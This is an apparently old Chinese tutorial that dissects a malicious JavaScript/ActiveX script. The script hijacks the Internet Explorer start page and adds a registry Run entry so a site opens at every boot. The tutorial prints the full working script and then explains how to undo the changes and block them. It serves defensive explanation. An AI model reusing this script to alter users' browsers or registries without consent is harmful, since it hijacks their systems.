答案:许多网友纷纷指出有的网站不择手段,当用户访问过它们的网页后,不仅IE默认首页被篡改了,而且每次开机后IE都会自动弹出访问该网站。
我们通过对下面这段javascript程序的解剖,希望读者能明白其究竟,并掌握修复的方法。网站应该用丰富精彩的栏目来吸引访问者,希望通过对用户注册表的恶意篡改来达到提高访问量的目的不仅会事得其反,更是一种不道德的行为。
以下代码仅供学习研究之用。
<!-- Begin set start page brought to u by JavaHouse.126.com-->
<SCRIPT language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents.cookie.indexOf("Chg") == -1)
//以下是检测用户注册表并修改相应的键值
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://JavaHouse.126.com/");//修改用户InternetExplorer浏览器的默认主页
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://JavaHouse.126.com/");//建立默认启动页面程序,保证用户每次启动计算机首先打开该页面
var expdate = new Date((new Date()).getTime() + (1));
documents.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作
}
init();</SCRIPT>
<!--End set start page -->
首先,我们来分析一下这句代码,程序中使用:
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://JavaHouse.126.com/");//修改用户InternetExplorer浏览器的默认主页
其实就是修改用户注册表中
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\main\文件夹下Start Page的键值,
这里面的值就是存放的IE浏览器的默认主页,如果你想改回来,把上面的相应代码改为:
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank");
就可以实现打开IE是空白页了;当然你也不用动注册表,直接打开IE修改Internet选项中的主页更方便些。
再来看看上述程序最卑鄙的一句代码:
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://JavaHouse.126.com/");//建立默认启动页面程序,保证用户每次启动计算机首先打开该页面
通过在注册表中
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
文件夹下建立Windows默认启动程序,当Windows启动后,我们会发现这个网页会自动打开,但是在“开始”-“程序”-“启动”中却找不到,这是为什么呢?哦,原来都放到Run这个文件夹下面了。怎么来修改呢?两种方法,一是查找源头,进入注册表,删除Run下面的相应项就可以了;二是在“开始”-“运行”处输入"msconfig",把启动下面相应的那个网站前面的"√"去掉,重新启动计算机就可以了。
避免此类恶意修改注册表的再次发生,你可以在IE的安全属性设置中禁掉ActiveX,当然在以后的网页浏览过程中可能会造成一些正常使用ActiveX的网站无法浏览。还有一种办法就是对于Windows98打开C:\WINDOWS\JAVA\Packages\CVLV1NBB.ZIP,把ActiveXComponent.class删掉;对于WindowsMe打开C:\WINDOWS\JAVA\Packages\5NZVFPF1.ZIP,把ActiveXComponent.class删掉。放心,删除这个组件不会影响你正常浏览网页的。
最后说说在首页使用这类代码的网站的目的,像在启动计算机直接打开网页的做法我认为主要是针对宽带和专线上网的用户,这样只要你不修改注册表禁掉它,你的IE主页每次进入系统都会自动被修改成那个网站;对于拨号上网的用户每次进入系统都开一个找不到的主页,也无所谓,至少你不改注册表,直接修改IE主页属性后可以避免被那种网站再次修改(前提是不再进那个网站),可是每次开机后都弹出个网页也真是让人讨厌。
以上代码适用于Windows9x/Me,InternetExplorer5.X浏览器,据说对IE6.0无效(因为它里面没有ActiveXComponent.class这个组件),但作者没有测试过。
上一个:谈两种数据库内容HTML格式的输出方法
下一个:网页制作源码三则